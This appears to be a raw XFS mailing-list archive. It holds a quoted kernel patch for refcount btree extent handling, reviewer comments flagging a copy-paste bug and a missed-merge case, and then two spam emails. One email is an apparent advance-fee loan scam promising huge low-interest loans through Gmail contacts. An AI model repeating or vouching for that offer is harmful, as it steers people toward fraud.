+--+--------+----+---- > > + * DDDD 111111DD > > + * > > + * The blocks marked "D" are freed; the blocks marked "1" are only > > + * referenced once and therefore the record is removed from the > > + * refcount btree. > > + */ > > + > > +#define RLNEXT(rl) ((rl).rc_startblock + (rl).rc_blockcount) > > +/* > > + * Split a left rlextent that crosses agbno. > > + */ > > +STATIC int > > +try_split_left_rlextent( > > + struct xfs_btree_cur *cur, > > + xfs_agblock_t agbno) > > +{ > > + struct xfs_refcount_irec left, tmp; > > + int found_rec; > > + int error; > > + > > + error = xfs_refcountbt_lookup_le(cur, agbno, &found_rec); > > + if (error) > > + goto out_error; > > + if (!found_rec) > > + return 0; > > + > > + error = xfs_refcountbt_get_rec(cur, &left, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + if (left.rc_startblock >= agbno || RLNEXT(left) <= agbno) > > + return 0; > > + > > + trace_xfs_refcount_split_left_extent(cur->bc_mp, cur->bc_private.a.agno, > > + &left, agbno); > > + tmp = left; > > + tmp.rc_blockcount = agbno - left.rc_startblock; > > + error = xfs_refcountbt_update(cur, &tmp); > > + if (error) > > + goto out_error; > > + > > + error = xfs_btree_increment(cur, 0, &found_rec); > > + if (error) > > + goto out_error; > > + > > + tmp = left; > > + tmp.rc_startblock = agbno; > > + tmp.rc_blockcount -= (agbno - left.rc_startblock); > > + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_split_left_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Split a right rlextent that crosses agbno. > > + */ > > +STATIC int > > +try_split_right_rlextent( > > + struct xfs_btree_cur *cur, > > + xfs_agblock_t agbnext) > > +{ > > + struct xfs_refcount_irec right, tmp; > > + int found_rec; > > + int error; > > + > > + error = xfs_refcountbt_lookup_le(cur, agbnext - 1, &found_rec); > > + if (error) > > + goto out_error; > > + if (!found_rec) > > + return 0; > > + > > + error = xfs_refcountbt_get_rec(cur, &right, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + if (RLNEXT(right) <= agbnext) > > + return 0; > > + > > + trace_xfs_refcount_split_right_extent(cur->bc_mp, > > + cur->bc_private.a.agno, &right, agbnext); > > + tmp = right; > > + tmp.rc_startblock = agbnext; > > + tmp.rc_blockcount -= (agbnext - right.rc_startblock); > > + error = xfs_refcountbt_update(cur, &tmp); > > + if (error) > > + goto out_error; > > + > > + tmp = right; > > + tmp.rc_blockcount = agbnext - right.rc_startblock; > > + error = xfs_refcountbt_insert(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_split_right_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Merge the left, center, and right extents. > > + */ > > +STATIC int > > +merge_center( > > + struct xfs_btree_cur *cur, > > + struct xfs_refcount_irec *left, > > + struct xfs_refcount_irec *center, > > + unsigned long long extlen, > > + xfs_agblock_t *agbno, > > + xfs_extlen_t *aglen) > > +{ > > + int error; > > + int found_rec; > > + > > + error = xfs_refcountbt_lookup_ge(cur, center->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + error = xfs_refcountbt_delete(cur, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + if (center->rc_refcount > 1) { > > + error = xfs_refcountbt_delete(cur, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + } > > + > > + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + left->rc_blockcount = extlen; > > + error = xfs_refcountbt_update(cur, left); > > + if (error) > > + goto out_error; > > + > > + *aglen = 0; > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_merge_center_extents_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Merge with the left extent. > > + */ > > +STATIC int > > +merge_left( > > + struct xfs_btree_cur *cur, > > + struct xfs_refcount_irec *left, > > + struct xfs_refcount_irec *cleft, > > + xfs_agblock_t *agbno, > > + xfs_extlen_t *aglen) > > +{ > > + int error; > > + int found_rec; > > + > > + if (cleft->rc_refcount > 1) { > > + error = xfs_refcountbt_lookup_le(cur, cleft->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + > > + error = xfs_refcountbt_delete(cur, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + } > > + > > + error = xfs_refcountbt_lookup_le(cur, left->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + left->rc_blockcount += cleft->rc_blockcount; > > + error = xfs_refcountbt_update(cur, left); > > + if (error) > > + goto out_error; > > + > > + *agbno += cleft->rc_blockcount; > > + *aglen -= cleft->rc_blockcount; > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_merge_left_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Merge with the right extent. > > + */ > > +STATIC int > > +merge_right( > > + struct xfs_btree_cur *cur, > > + struct xfs_refcount_irec *right, > > + struct xfs_refcount_irec *cright, > > + xfs_agblock_t *agbno, > > + xfs_extlen_t *aglen) > > +{ > > + int error; > > + int found_rec; > > + > > + if (cright->rc_refcount > 1) { > > + error = xfs_refcountbt_lookup_le(cur, cright->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + > > + error = xfs_refcountbt_delete(cur, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + } > > + > > + error = xfs_refcountbt_lookup_le(cur, right->rc_startblock, > > + &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + right->rc_startblock -= cright->rc_blockcount; > > + right->rc_blockcount += cright->rc_blockcount; > > + error = xfs_refcountbt_update(cur, right); > > + if (error) > > + goto out_error; > > + > > + *aglen -= cright->rc_blockcount; > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_merge_right_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Find the left extent and the one after it (cleft). This function assumes > > + * that we've already split any extent crossing agbno. > > + */ > > +STATIC int > > +find_left_extent( > > + struct xfs_btree_cur *cur, > > + struct xfs_refcount_irec *left, > > + struct xfs_refcount_irec *cleft, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen) > > +{ > > + struct xfs_refcount_irec tmp; > > + int error; > > + int found_rec; > > + > > + left->rc_blockcount = cleft->rc_blockcount = 0; > > + error = xfs_refcountbt_lookup_le(cur, agbno - 1, &found_rec); > > + if (error) > > + goto out_error; > > + if (!found_rec) > > + return 0; > > + > > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + if (RLNEXT(tmp) != agbno) > > + return 0; > > + /* We have a left extent; retrieve (or invent) the next right one */ > > + *left = tmp; > > + > > + error = xfs_btree_increment(cur, 0, &found_rec); > > + if (error) > > + goto out_error; > > + if (found_rec) { > > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + > > + if (tmp.rc_startblock == agbno) > > + *cleft = tmp; > > + else { > > + cleft->rc_startblock = agbno; > > + cleft->rc_blockcount = min(aglen, > > + tmp.rc_startblock - agbno); > > + cleft->rc_refcount = 1; > > + } > > + } else { > > + cleft->rc_startblock = agbno; > > + cleft->rc_blockcount = aglen; > > + cleft->rc_refcount = 1; > > + } > > + trace_xfs_refcount_find_left_extent(cur->bc_mp, cur->bc_private.a.agno, > > + left, cleft, agbno); > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_find_left_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Find the right extent and the one before it (cright). This function > > + * assumes that we've already split any extents crossing agbno + aglen. > > + */ > > +STATIC int > > +find_right_extent( > > + struct xfs_btree_cur *cur, > > + struct xfs_refcount_irec *right, > > + struct xfs_refcount_irec *cright, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen) > > +{ > > + struct xfs_refcount_irec tmp; > > + int error; > > + int found_rec; > > + > > + right->rc_blockcount = cright->rc_blockcount = 0; > > + error = xfs_refcountbt_lookup_ge(cur, agbno + aglen, &found_rec); > > + if (error) > > + goto out_error; > > + if (!found_rec) > > + return 0; > > + > > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, out_error); > > + > > + if (tmp.rc_startblock != agbno + aglen) > > + return 0; > > + /* We have a right extent; retrieve (or invent) the next left one */ > > + *right = tmp; > > + > > + error = xfs_btree_decrement(cur, 0, &found_rec); > > + if (error) > > + goto out_error; > > + if (found_rec) { > > + error = xfs_refcountbt_get_rec(cur, &tmp, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, found_rec == 1, > > + out_error); > > + > > + if (tmp.rc_startblock == agbno) > > Since tmp represents the refcount extent immediately to the left of (agbno + > aglen), we want to copy tmp into cright if the end of tmp coincides with (agbno > + aglen). This is probably a copy-pasta mistake. > > Also, s/RLNEXT/RCNEXT/ since these are refcount extents, not reflink extents. > (Weird anachronism). > > --D > > > + *cright = tmp; > > + else { > > + cright->rc_startblock = max(agbno, > > + RLNEXT(tmp)); > > + cright->rc_blockcount = right->rc_startblock - > > + cright->rc_startblock; > > + cright->rc_refcount = 1; > > + } > > + } else { > > + cright->rc_startblock = agbno; > > + cright->rc_blockcount = aglen; > > + cright->rc_refcount = 1; > > + } > > + trace_xfs_refcount_find_right_extent(cur->bc_mp, cur->bc_private.a.agno, > > + cright, right, agbno + aglen); > > + return error; > > + > > +out_error: > > + trace_xfs_refcount_find_right_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > +#undef RLNEXT > > + > > +/* > > + * Try to merge with any extents on the boundaries of the adjustment range. > > + */ > > +STATIC int > > +try_merge_rlextents( > > + struct xfs_btree_cur *cur, > > + xfs_agblock_t *agbno, > > + xfs_extlen_t *aglen, > > + int adjust) > > +{ > > + struct xfs_refcount_irec left, cleft, cright, right; > > + int error; > > + unsigned long long ulen; > > + > > + left.rc_blockcount = cleft.rc_blockcount = 0; > > + cright.rc_blockcount = right.rc_blockcount = 0; > > + > > + /* > > + * Find extents abutting the start and end of the range, and > > + * the adjacent extents inside the range. > > + */ > > + error = find_left_extent(cur, &left, &cleft, *agbno, *aglen); > > + if (error) > > + return error; > > + error = find_right_extent(cur, &right, &cright, *agbno, *aglen); > > + if (error) > > + return error; > > + > > + /* No left or right extent to merge; exit. */ > > + if (left.rc_blockcount == 0 && right.rc_blockcount == 0) > > + return 0; > > + > > + /* Try a center merge */ > > + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount + > > + right.rc_blockcount; > > + if (left.rc_blockcount != 0 && right.rc_blockcount != 0 && > > + memcmp(&cleft, &cright, sizeof(cleft)) == 0 && > > + left.rc_refcount == cleft.rc_refcount + adjust && > > + right.rc_refcount == cleft.rc_refcount + adjust && > > + ulen < MAXREFCEXTLEN) { > > + trace_xfs_refcount_merge_center_extents(cur->bc_mp, > > + cur->bc_private.a.agno, &left, &cleft, &right); > > + return merge_center(cur, &left, &cleft, ulen, agbno, aglen); > > + } > > + > > + /* Try a left merge */ > > + ulen = (unsigned long long)left.rc_blockcount + cleft.rc_blockcount; > > + if (left.rc_blockcount != 0 && > > + left.rc_refcount == cleft.rc_refcount + adjust && > > + ulen < MAXREFCEXTLEN) { > > + trace_xfs_refcount_merge_left_extent(cur->bc_mp, > > + cur->bc_private.a.agno, &left, &cleft); > > + return merge_left(cur, &left, &cleft, agbno, aglen); > > + } We shouldn't return unconditionally here -- suppose that left, cleft, cright, and right are all distinct extents and we want to merge left:cleft and merge cright:right? You'd miss that second merge this way. --D > > + > > + /* Try a right merge */ > > + ulen = (unsigned long long)right.rc_blockcount + cright.rc_blockcount; > > + if (right.rc_blockcount != 0 && > > + right.rc_refcount == cright.rc_refcount + adjust && > > + ulen < MAXREFCEXTLEN) { > > + trace_xfs_refcount_merge_right_extent(cur->bc_mp, > > + cur->bc_private.a.agno, &cright, &right); > > + return merge_right(cur, &right, &cright, agbno, aglen); > > + } > > + > > + return error; > > +} > > + > > +/* > > + * Adjust the refcounts of middle extents. At this point we should have > > + * split extents that crossed the adjustment range; merged with adjacent > > + * extents; and updated agbno/aglen to reflect the merges. Therefore, > > + * all we have to do is update the extents inside [agbno, agbno + aglen]. > > + */ > > +STATIC int > > +adjust_rlextents( > > + struct xfs_btree_cur *cur, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen, > > + int adj, > > + struct xfs_bmap_free *flist, > > + struct xfs_owner_info *oinfo) > > +{ > > + struct xfs_refcount_irec ext, tmp; > > + int error; > > + int found_rec, found_tmp; > > + xfs_fsblock_t fsbno; > > + > > + error = xfs_refcountbt_lookup_ge(cur, agbno, &found_rec); > > + if (error) > > + goto out_error; > > + > > + while (aglen > 0) { > > + error = xfs_refcountbt_get_rec(cur, &ext, &found_rec); > > + if (error) > > + goto out_error; > > + if (!found_rec) { > > + ext.rc_startblock = cur->bc_mp->m_sb.sb_agblocks; > > + ext.rc_blockcount = 0; > > + ext.rc_refcount = 0; > > + } > > + > > + /* > > + * Deal with a hole in the refcount tree; if a file maps to > > + * these blocks and there's no refcountbt recourd, pretend that > > + * there is one with refcount == 1. > > + */ > > + if (ext.rc_startblock != agbno) { > > + tmp.rc_startblock = agbno; > > + tmp.rc_blockcount = min(aglen, > > + ext.rc_startblock - agbno); > > + tmp.rc_refcount = 1 + adj; > > + trace_xfs_refcount_modify_extent(cur->bc_mp, > > + cur->bc_private.a.agno, &tmp); > > + > > + /* > > + * Either cover the hole (increment) or > > + * delete the range (decrement). > > + */ > > + if (tmp.rc_refcount) { > > + error = xfs_refcountbt_insert(cur, &tmp, > > + &found_tmp); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, > > + found_tmp == 1, out_error); > > + } else { > > + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, > > + cur->bc_private.a.agno, > > + tmp.rc_startblock); > > + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, > > + tmp.rc_blockcount, oinfo); > > + } > > + > > + agbno += tmp.rc_blockcount; > > + aglen -= tmp.rc_blockcount; > > + > > + error = xfs_refcountbt_lookup_ge(cur, agbno, > > + &found_rec); > > + if (error) > > + goto out_error; > > + } > > + > > + /* Stop if there's nothing left to modify */ > > + if (aglen == 0) > > + break; > > + > > + /* > > + * Adjust the reference count and either update the tree > > + * (incr) or free the blocks (decr). > > + */ > > + ext.rc_refcount += adj; > > + trace_xfs_refcount_modify_extent(cur->bc_mp, > > + cur->bc_private.a.agno, &ext); > > + if (ext.rc_refcount > 1) { > > + error = xfs_refcountbt_update(cur, &ext); > > + if (error) > > + goto out_error; > > + } else if (ext.rc_refcount == 1) { > > + error = xfs_refcountbt_delete(cur, &found_rec); > > + if (error) > > + goto out_error; > > + XFS_WANT_CORRUPTED_GOTO(cur->bc_mp, > > + found_rec == 1, out_error); > > + goto advloop; > > + } else { > > + fsbno = XFS_AGB_TO_FSB(cur->bc_mp, > > + cur->bc_private.a.agno, > > + ext.rc_startblock); > > + xfs_bmap_add_free(cur->bc_mp, flist, fsbno, > > + ext.rc_blockcount, oinfo); > > + } > > + > > + error = xfs_btree_increment(cur, 0, &found_rec); > > + if (error) > > + goto out_error; > > + > > +advloop: > > + agbno += ext.rc_blockcount; > > + aglen -= ext.rc_blockcount; > > + } > > + > > + return error; > > +out_error: > > + trace_xfs_refcount_modify_extent_error(cur->bc_mp, > > + cur->bc_private.a.agno, error, _RET_IP_); > > + return error; > > +} > > + > > +/* > > + * Adjust the reference count of a range of AG blocks. > > + * > > + * @mp: XFS mount object > > + * @tp: XFS transaction object > > + * @agbp: Buffer containing the AGF > > + * @agno: AG number > > + * @agbno: Start of range to adjust > > + * @aglen: Length of range to adjust > > + * @adj: +1 to increment, -1 to decrement reference count > > + * @flist: freelist (only required if adj == -1) > > + * @owner: owner of the blocks (only required if adj == -1) > > + */ > > +STATIC int > > +xfs_refcountbt_adjust_refcount( > > + struct xfs_mount *mp, > > + struct xfs_trans *tp, > > + struct xfs_buf *agbp, > > + xfs_agnumber_t agno, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen, > > + int adj, > > + struct xfs_bmap_free *flist, > > + struct xfs_owner_info *oinfo) > > +{ > > + struct xfs_btree_cur *cur; > > + int error; > > + > > + cur = xfs_refcountbt_init_cursor(mp, tp, agbp, agno, flist); > > + > > + /* > > + * Ensure that no rlextents cross the boundary of the adjustment range. > > + */ > > + error = try_split_left_rlextent(cur, agbno); > > + if (error) > > + goto out_error; > > + > > + error = try_split_right_rlextent(cur, agbno + aglen); > > + if (error) > > + goto out_error; > > + > > + /* > > + * Try to merge with the left or right extents of the range. > > + */ > > + error = try_merge_rlextents(cur, &agbno, &aglen, adj); > > + if (error) > > + goto out_error; > > + > > + /* Now that we've taken care of the ends, adjust the middle extents */ > > + error = adjust_rlextents(cur, agbno, aglen, adj, flist, oinfo); > > + if (error) > > + goto out_error; > > + > > + xfs_btree_del_cursor(cur, XFS_BTREE_NOERROR); > > + return 0; > > + > > +out_error: > > + trace_xfs_refcount_adjust_error(mp, agno, error, _RET_IP_); > > + xfs_btree_del_cursor(cur, XFS_BTREE_ERROR); > > + return error; > > +} > > + > > +/** > > + * Increase the reference count of a range of AG blocks. > > + * > > + * @mp: XFS mount object > > + * @tp: XFS transaction object > > + * @agbp: Buffer containing the AGF > > + * @agno: AG number > > + * @agbno: Start of range to adjust > > + * @aglen: Length of range to adjust > > + * @flist: List of blocks to free > > + */ > > +int > > +xfs_refcount_increase( > > + struct xfs_mount *mp, > > + struct xfs_trans *tp, > > + struct xfs_buf *agbp, > > + xfs_agnumber_t agno, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen, > > + struct xfs_bmap_free *flist) > > +{ > > + trace_xfs_refcount_increase(mp, agno, agbno, aglen); > > + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, > > + aglen, 1, flist, NULL); > > +} > > + > > +/** > > + * Decrease the reference count of a range of AG blocks. > > + * > > + * @mp: XFS mount object > > + * @tp: XFS transaction object > > + * @agbp: Buffer containing the AGF > > + * @agno: AG number > > + * @agbno: Start of range to adjust > > + * @aglen: Length of range to adjust > > + * @flist: List of blocks to free > > + * @owner: Extent owner > > + */ > > +int > > +xfs_refcount_decrease( > > + struct xfs_mount *mp, > > + struct xfs_trans *tp, > > + struct xfs_buf *agbp, > > + xfs_agnumber_t agno, > > + xfs_agblock_t agbno, > > + xfs_extlen_t aglen, > > + struct xfs_bmap_free *flist, > > + struct xfs_owner_info *oinfo) > > +{ > > + trace_xfs_refcount_decrease(mp, agno, agbno, aglen); > > + return xfs_refcountbt_adjust_refcount(mp, tp, agbp, agno, agbno, > > + aglen, -1, flist, oinfo); > > +} > > diff --git a/fs/xfs/libxfs/xfs_refcount.h b/fs/xfs/libxfs/xfs_refcount.h > > index 033a9b1..6640e3d 100644 > > --- a/fs/xfs/libxfs/xfs_refcount.h > > +++ b/fs/xfs/libxfs/xfs_refcount.h > > @@ -26,4 +26,12 @@ extern int xfs_refcountbt_lookup_ge(struct xfs_btree_cur *cur, > > extern int xfs_refcountbt_get_rec(struct xfs_btree_cur *cur, > > struct xfs_refcount_irec *irec, int *stat); > > > > +extern int xfs_refcount_increase(struct xfs_mount *mp, struct xfs_trans *tp, > > + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, > > + xfs_extlen_t aglen, struct xfs_bmap_free *flist); > > +extern int xfs_refcount_decrease(struct xfs_mount *mp, struct xfs_trans *tp, > > + struct xfs_buf *agbp, xfs_agnumber_t agno, xfs_agblock_t agbno, > > + xfs_extlen_t aglen, struct xfs_bmap_free *flist, > > + struct xfs_owner_info *oinfo); > > + > > #endif /* __XFS_REFCOUNT_H__ */ > > > > _______________________________________________ > > xfs mailing list > > xfs@oss.sgi.com > > http://oss.sgi.com/mailman/listinfo/xfs > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From info@time.kz Fri Oct 30 19:58:25 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.0 required=5.0 tests=FREEMAIL_REPLYTO,HTML_MESSAGE, LOTS_OF_MONEY,T_FRT_CONTACT autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 9C1C17F51 for ; Fri, 30 Oct 2015 19:58:25 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 7E1438F804C for ; Fri, 30 Oct 2015 17:58:21 -0700 (PDT) X-ASG-Debug-ID: 1446253099-04cb6c7b841478c0001-NocioJ Received: from lehrer.bulme.at (bulme145.htl-bulmegraz.ac.at [193.171.122.145]) by cuda.sgi.com with ESMTP id bq5ucEV16omQR1hX (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 30 Oct 2015 17:58:20 -0700 (PDT) X-Barracuda-Envelope-From: info@time.kz X-Barracuda-Apparent-Source-IP: 193.171.122.145 Received: from AMHS-WTS1.W0205DOM.COM (rrcs-98-102-164-242.central.biz.rr.com [98.102.164.242]) (authenticated bits=0) by lehrer.bulme.at (8.14.7/8.14.7) with ESMTP id t9UMjEGV003626; Sat, 31 Oct 2015 01:56:40 +0100 Message-Id: <201510310056.t9UMjEGV003626@lehrer.bulme.at> Content-Type: multipart/alternative; boundary="===============1010327492==" MIME-Version: 1.0 Subject: =?utf-8?q?Gesch=C3=A4ftskredit_=26_Kredit_f=C3=BCr_Selbst=C3=A4ndige?= To: Recipients X-ASG-Orig-Subj: =?utf-8?q?Gesch=C3=A4ftskredit_=26_Kredit_f=C3=BCr_Selbst=C3=A4ndige?= From: info@time.kz Date: Fri, 30 Oct 2015 20:56:33 -0400 Reply-To: skyfinance309@gmail.com X-Barracuda-Connect: bulme145.htl-bulmegraz.ac.at[193.171.122.145] X-Barracuda-Start-Time: 1446253099 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 1.60 X-Barracuda-Spam-Status: No, SCORE=1.60 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA609_NRN, BSF_SC0_SA_TO_FROM_ADDR_MATCH, FUZZY_CREDIT, HTML_MESSAGE, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23971 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 FUZZY_CREDIT BODY: Attempt to obfuscate words in spam 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA_TO_FROM_ADDR_MATCH Sender Address Matches Recipient Address 1.10 BSF_SC0_SA609_NRN Custom Rule SA609_NRN You will not see this in a MIME-aware mail reader. --===============1010327492== Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body Wenn Sie ein Gesch=E4ftskredit f=FCr Ihr Unternehmen oder Kapital f=FCr die= Gesch=E4fts-gr=FCndung ben=F6tigen, sind Sie bei uns an der richtigen Adr= esse. - Effektive Jahreszinsen: 2% - Nettodarlehensbetr=E4ge: 10.000 bis 2= 0,000,000.000 Euro - Laufzeit: 12 bis 300 Monate - Billigungszeit: 3 Tage K= ontakt E-mail: skyfinance0@gmail.com = Do you need a personal loan or a business loan? our offer is the best and = reliable offer for you. Loan Amount: 10,000.00 euro to 20 million euro dura= tion period: 1 to 25 years get your loan approved within 3 days contact us = now for more information: skyfinance0@gmail.com --===============1010327492== Content-Type: text/html; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: quoted-printable Content-Description: Mail message body
Wenn Sie ein Gesch=E4f= tskredit f=FCr Ihr Unternehmen oder Kapital f=FCr die Gesch=E4fts-gr=FCndun= g ben=F6tigen, 
sind Sie bei uns an der rich= tigen Adresse.
- Effektive Jahreszinsen: 2%=  
- Nettodarlehensbetr=E4ge: 1= 0.000 bis 20,000,000.000 Euro
- Laufzeit: 12 bis 300 Monat= e
- Billigungszeit: 3 Tage
Kontakt E-mail: <= /SPAN>skyfinance0@gmail.com

Do you need a personal loan = or a business loan?
our offer is the best and re= liable offer for you.
Loan Amount: 10,000.00 euro = to 20 million euro
duration period: 1 to 25 yea= rs
get your loan approved withi= n 3 days
contact us now for more info= rmation: skyfinance0@<= WBR>gmail.com
--===============1010327492==-- From sjdlhu@hp.com Fri Oct 30 20:02:37 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: ** X-Spam-Status: No, score=2.2 required=5.0 tests=FUZZY_XPILL,HTML_MESSAGE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BB9AE7F51 for ; Fri, 30 Oct 2015 20:02:36 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1C34EAC001 for ; Fri, 30 Oct 2015 18:02:32 -0700 (PDT) X-ASG-Debug-ID: 1446253344-04cbb0660c159ff0001-NocioJ Received: from hp.com (218.167.195.113.adsl-pool.jx.chinaunicom.com [113.195.167.218]) by cuda.sgi.com with ESMTP id fCOlVAWKezQ96UtE for ; Fri, 30 Oct 2015 18:02:26 -0700 (PDT) X-Barracuda-Envelope-From: sjdlhu@hp.com X-Barracuda-Apparent-Source-IP: 113.195.167.218 Received: from haru (unknown [77.199.157.35]) by hp.com with SMTP id HqtOue76gh6o3ETi.1 for ; Sat, 31 Oct 2015 09:02:56 +0800 Date: Sat, 31 Oct 2015 09:02:47 +0800 From: =?gb2312?B?t7+gVA==?= To: xfs Subject: =?gb2312?B?zebXqr/OzMOhqqGqU1RUUair0rXF4NG1yqa/7MvZVKiqyf0=?= X-Priority: 3 X-ASG-Orig-Subj: =?gb2312?B?zebXqr/OzMOhqqGqU1RUUair0rXF4NG1yqa/7MvZVKiqyf0=?= X-Mailer: Foxmail 6, 13, 102, 15 [cn] Mime-Version: 1.0 Message-ID: <201510310902562231064@hp.com> Content-Type: multipart/alternative; boundary="----=_000_NextPart482055673272_=----" X-Barracuda-Connect: 218.167.195.113.adsl-pool.jx.chinaunicom.com[113.195.167.218] X-Barracuda-Start-Time: 1446253345 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, RDNS_DYNAMIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23971 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 RDNS_DYNAMIC Delivered to trusted network by host with dynamic-looking rDNS This is a multi-part message in MIME format. ------=_000_NextPart482055673272_=---- Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 DQrN5t5ES6iozMOhqqGqU1RUxvPStcXg0bXKpr/sy9lUqKrJ/aOoVFRUU2ioqtW9vNPHv7Dmo6kN 